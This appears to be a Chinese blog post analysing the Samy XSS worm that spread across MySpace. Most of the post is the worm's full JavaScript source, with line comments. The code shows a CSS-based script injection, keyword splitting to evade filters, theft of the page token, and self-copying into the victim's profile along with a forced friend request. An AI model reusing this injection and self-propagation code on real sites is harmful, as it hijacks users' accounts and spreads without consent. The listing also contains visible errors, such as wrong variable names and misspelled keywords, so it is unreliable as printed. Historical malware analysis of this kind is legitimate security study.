Samy XSS Worm 分析

2023-11-19

Samy Worm

MySpace.com允许用户通过控制标签的style属性,samy构造css xss。

MySpace过滤了很多关键字,利用拆分法绕过。

div标签如下:

<div id = mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')"
	expr=" "></div>


其中expr字符串的内容为如下javascript代码:

var B = String.fromCharCode(34);
var A = String.fromCharCode(39);
/*
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
语法
String.fromCharCode(numX,numX,...,numX)

B="	A='
*/

function g () 
{
	var C;
	try
	{
		var D = document.body.createTextRange();
		C = D.htmlText;
	}
	catch(e)
	{
	}

	if(C)
	{
		return C;
	}
	else
	{
		return eval('document.body.inne'+'rHTML');
	}
}
/*
createTextRange 只能在IE下工作
该函数用于取得该页面body的HTML
*/

function getData(AU)
{
	M = getFromURL(AU,'friendID');
	L = getFromURL(AU,'Mytoken');
}
/*
getFromURL函数在后面
*/

function getQueryParams()
{
	var E = document.location.search;
	var F = E.substring(1,E.length).split('&');
	var AS = new Array();

	for(var O=0; O < F.length; O++)
	{
		var I = F[O].split('=');
		AS[I[0]] = I[1];
	}
	return AS;
}
/*
例:URL为:https://www.baidu.com/s?wd=c%2B%2B&rsv_spt=1
此时E = document.location.search = ?wd=c%2B%2B&rsv_spt=1

split('&')把一个字符串E以'&'为seprator分割成字符串数组F
split('=')把数组元素F[O]以'='为seprator分割为键值对,I[0]为键,I[1]为值
存入AS数组
*/

var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];

if(location.hostname=='profile.myspace.com')
{
	document.location = 'http://www.myspace.com'+location.pathname+location.search;
}
else
{
	if(!M)
	{
		getData(g());
	}
	main();
}
/*
修改document.location把用户带到一个新的地址

URL: http://china.huanqiu.com/photo/2016-07/2838944.html?from=bdtp#p=1
location.hostname = china.huanqiu.com
location.pathname = /photo/2016-07/2838944.html
location.search = ?from=bdtp
有关location对象,http://www.w3school.com.cn/jsref/dom_obj_location.asp

main()函数在后面
*/

function getClientFID()
{
	return findIn(g(),'up_launchIC( '+A, A);
}
/*
findIn(BF,BB,BC)函数在后面
*/

function nothing()
{
}

function paramsToString(AV)
{
	var N = new String();
	var O = 0;
	for(P in AV)
	{
		if(O > 0)
		{
			N += '&';
		}
		var Q = escape(AV[P]);

		while(Q.indexOf('+') != -1)
		{
			Q = Q.replace('+', '%2B');//‘+’的URL编码'%2B'
		}

		while(Q.indexOf('&') != -1)
		{
			Q = Q.replace('&', '%26');//‘%’的URL编码'%26'
		}

		N += P + '=' + Q;
		O++;
	}

	return N;
}

function httpSend(BH, BI, BJ, BK)
{
	if(!J)
		return false;

	eval('J.onr'+'eadystatechange = BI');

	j.open(BJ,BH,true);

	if(BJ == 'POST')
	{
		J.setRequestHeader('Content-type', 'application/x-www-form-urllencoded');
		J.setRequestHeader('Content-Length', BK.length);
	}

	J.send(BK);

	return true;
}
/*
Ajax 发送
*/

function findIn(BF,BB,BC)
{
	var R = BF.indexOf(BB) + BB.length;
	var S = BF.substring(R, R+1024);
	return S.substring(0, S.indexOf(BC));
}
/*
字符串BF中在BB和BC之间的部分
*/

function getHiddenParamter(BF, BG)
{
	return findIn(BF, 'name='+B+BG+B+' value='+B, B);
}

function getFromURL(BF,BG)
{
	var T;
	if(BG == 'Mytoken')
	{
		T = B;
	}
	else
	{
		T = '&';
	}

	var U = BG + '=';
	var V = BF.indexOf(U) + U.length;
	var W = BF.substring(V, V+1024);
	var X = W.indexOf(T);
	var Y = W.substring(0,X);

	return Y;
}

function getXMLObj()
{
	var Z = false;
	if(window.XMLHttpRequest)
	{
		try
		{
			Z = new XMLHttpRequest();
		}
		catch(e)
		{
			Z = false;
		}
	}
	else
	{
		try
		{
			Z = new ActiveXObject('Msxml2.XMLHTTP');
		}
		catch(e)
		{
			try
			{
				Z = new ActiveXObject('Microsoft.XMLHTTP');
			}
			catch(e)
			{
				Z = false;
			}
		}
	}

	return X;
}
/*
Ajax
*/

var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB, AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;

if(AE)
{
	AE = AE.replace('jav'+'a', A+'jav'+'a');
	AE = AE.replace('exp'+'r)', 'exp'+'r)'+A);
	AF = 'but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>';
}

var AG;

function getHome()
{
	if(J.readyState != 4)
		return;

	var AU = J.responseText;
	AG = findIn(AU, 'P'+'rofileHeroes','</td>');
	AG = AG.substring(61,AG.length);

	if(AG.indexOf('samy')== -1)
	{
		if(AF)
		{
			AG+=AF;
			var AR = getFromURL(AU,'Mytoken');
			var AS = new Array();
			AS['interestLabel'] = 'heroes';
			AS['submit'] = 'Preview';
			AS['interest'] = AG;
			J = getXMLObj();
			httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR, postHero, 'POST',
				paramsToString(AS));
		}
	}
}

function postHero()
{
	if(J.readyState != 4)
		return;

	var AU = J.responseText;
	var AR = getFromURL(AU,'Mytoken');
	var AS = new Array();
	AS['interestLabel'] = 'heroes';
	AS['submit'] = 'Submit';
	AS['interest'] = AG;
	AS['hash'] = getHiddenParamter(AU,'hash');
	httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR, nothing, 'POST',
			paramsToString(AS));
		
}

function main()
{
	var AN = getClientFID();
	var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&MyTkoen='+L;
	J = getXMLObj();
	httpSend(BH,getHome,'GET');
	xmlhttp2 = getXMLObj();
	httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,
		processxForm,'GET');
}

function processxForm()
{
	if(xmlhttp2.readyState != 4)
		return;

	var AU = xmlhttp2.responseText;
	var AQ = getHiddenParamter(AU, 'hashcode');
	var AR = getFromURL(AU, 'MyToken');
	var AS = new Array();
	AS['hashcode'] = AQ;
	AS['friendID'] = '11851658';
	AS['submit'] = 'Add to Friends';
	httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&MyToken='+AR,nothing,
		'POST',paramsToString(AS));
}

function httpSend2(BH, BI, BJ, BK)
{
	if(!xmlhttp2)
		return falsa;

	eval('xmlhttp2.onr'+'eadystatechange=BI');
	xmlhttp2.open(BJ,BH,true);

	if(BJ=='POST')
	{
		xmlhttp2.setRequestHeader('Content-type','application/x-www-form-urllencoded');
		xmlhttp2.setRequestHeader('Content-Length', BK.length);

	}
	xmlhttp2.send(BK);
	return true;
}


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Samy XSS Worm 分析 的相关文章

  • Vulkan再探(7):纹理贴图

    08 20 2020 文章目录 纹理贴图 Texture Mapping 纹理属性 加载图片 临时缓冲区储存图片信息 生成贴图等级 生成图像和存储空间 难点 传输数据 图解 拷贝缓冲区到图像 创建采样器 创建图像视图 创建组合图像采样器描述

随机推荐

  • Vulkan 绘制显示设计

    背景 众所周知 Vulkan是个跨平台的图形渲染API 为了友好地支持跨平台 Vulkan自然也抽象出了很多接口层去对接各个操作系统 抹平系统间的差异 Swap Chains即为WSI 其本质上是一种图像队列 此队列会按顺序依次将队列中的若
  • 《深入理解java虚拟机》 第二章

    1 运行数据区域 1 1线程私有 1 1 1 程序计数器 字节码解释器通过程序计数器里的数值来寻找下一条要执行的指令 执行native方法无程序计数器值 无OOM 1 1 2 java虚拟机栈 每一个方法运行时都会建立一个栈帧 栈帧用来存储
  • 深度学习中卷积和池化的一些总结

    最近完成了hinton的深度学习课程的卷积和池化的这一章节了 马上就要结束了 这个课程的作业我写的最有感受 待我慢慢说来 1 里面有几个理解起来的难点 一个是卷积 可以这么来理解 这幅图是对一个5 5的矩阵A进行3 3的矩阵B的卷积 那么就
  • 大数据分析系统

    1 概念 分类 数据分析系统的主要功能是从众多外部系统中 采集相关的业务数据 集中存储到系统的数据库中 系统内部对所有的原始数据通过一系列处理转换之后 存储到数据仓库的基础库中 然后 通过业务需要进行一系列的数据转换到相应的数据集市 供其他
  • LeetCode刷题——剑指offer位运算题目汇总(包含快速乘、快速幂、二进制加法)

    剑指offer位运算题目汇总 剑指 Offer II 001 整数除法 剑指 Offer II 002 二进制加法 剑指 Offer II 003 前 n 个数字二进制中 1 的个数 剑指 Offer II 004 只出现一次的数字 剑指
  • 手摸手,带你用vue撸后台 系列四(vueAdmin一个极简的后台基础模板)(好文章!!)

    转载自 原文格式清晰 https juejin im post 6844903486241374221 完整项目地址 vue element admin 系列文章 手摸手 带你用 vue 撸后台 系列一 基础篇 手摸手 带你用 vue 撸后
  • 【CSDN】删除文章后,浏览量会减少吗?了解软删除和硬删除

    hello 我是小索奇 如果你也在博客写作的话 有没有考虑到一个问题 文章删除后 浏览量会减少吗 下面就给大家阐述一下 当在CSDN中删除已发布的文章后 该文章的浏览量统计会有以下情况 软删除状态的文章 浏览量统计会保留 不会下降或者重置
  • html+css+javascript 之间的关系与作用

    三者间的关系 一个基本的网站包含很多个网页 一个网页由 html css 和 javascript 组成 html 是主体 装载各种 dom 元素 css 用来装饰 dom 元素 javascript 控制 dom 元素 用一扇门比喻三者间
  • springboot多模块打包配置问题

    工程案例结构 baidu 聚合过程 baidu web 子模块web工程 baidu service 子模块 baidu config 子模块配置工程 注意事项 配置步骤 1 baidu 聚合工程 工程下的 pom xml 文件案列如下
  • 【云原生之k8s】K8s 管理工具 kubectl 详解(二)

    K8S模拟项目 Kubectl是管理k8s集群的命令行工具 通过生成的json格式传递给apiserver进行创建 查看 管理的操作 帮助信息 root localhost bin kubectl help kubectl controls
  • mysqlbinglog基于即时点还原

    mysqlbinglog基于即时点还原 mysqlbinlog介绍 要想从二进制日志恢复数据 你需要知道当前二进制日志文件的路径和文件名 一般可以从选项文件 即my cnf or my ini 取决于你的系统 中找到路径 mysql5 7开
  • SAR成像系列:【3】合成孔径雷达(SAR)的二维回波信号与简单距离多普勒(RD)算法 (附matlab代码)

    合成孔径雷达发射信号以线性调频信号 LFM 为基础 目前大部分合成孔径雷达都是LFM体制 为了减轻雷达重量也采用线性调频连续波 FMCW 体制 为了获得大带宽亦采用线性调频步进频 FMSF 体制 1 LFM信号 LFM的主要特点在于可以使载
  • 操作系统内存管理——分区、页式、段式、段页式管理

    1 内存管理方法 内存管理主要包括虚地址 地址变换 内存分配和回收 内存扩充 内存共享和保护等功能 2 连续分配存储管理方式 连续分配是指为一个用户程序分配连续的内存空间 连续分配有单一连续存储管理和分区式储管理两种方式 2 1 单一连续存
  • 谈谈Qt信号与槽

    关于Qt信号与槽 Qt信号与槽本质类似观察者模式 观察者模式 Observer Pattern 定义对象间的一种一对多依赖关系 使得每当一个对象状态发生改变时 其相关依赖对象皆得到通知并被自动更新 观察者模式又叫做发布 订阅 Publish
  • 5G Capital一年,“首都标准”初现

    在北京生活许多年 如果问我什么时候京味浓度最高 答案可能是下了飞机 走上出租车的那一刻 北京司机连闲聊都是一副见过世面的样子 你研究人工智能 我觉得吧交通管理就该这样那样 高铁咱都造出来了 什么高科技我看中国人很快就能搞出来 冬奥会场馆建得
  • scatter函数绘制散点图——MATLAB

    1 scatter X Y 在矢量X和Y指定的位置显示彩色圆 如 scatter 1 2 3 4 4 5 6 7 效果如图 默认彩色圆为蓝色空心圆 2 scatter X Y S S确定每个标记的面积 S可以是与X和Y相同长度的矢量或标量
  • Gibbs 采样基本原理和仿真

    Gibbs 采样基本原理和仿真 文章目录 Gibbs 采样基本原理和仿真 1 基本概念 1 1 Gibbs采样算法 1 2 Markov链 1 2 1 Markov链的定义 1 2 2 Markov链的细致平稳条件 1 2 3 Markov
  • 初学者怎么高效率学习c语言?

    想学C语言我们首先的了解C语言是什么 它是一门面向过程的 抽象化的通用程序设计语言 广泛应用于底层开发 C语言能以简易的方式编译以及处理低级存储器 C语言是仅产生少量的机器语言以及不需要任何运行环境支持就可以运行的高效率程序设计语言 尽管C
  • ubuntu 11配置hadoop

    最近没事 研究下ubuntu 配置hadoop ubuntu版本 64 bit 11 04 hadoop版本 hadoop1 2 1 一 在Ubuntu下创建hadoop用户组和用户 1 创建hadoop用户组 sudo addgroup
  • Samy XSS Worm 分析

    Samy Worm MySpace com允许用户通过控制标签的style属性 samy构造css xss MySpace过滤了很多关键字 利用拆分法绕过 div标签如下 div div 其中expr字符串的内容为如下javascript代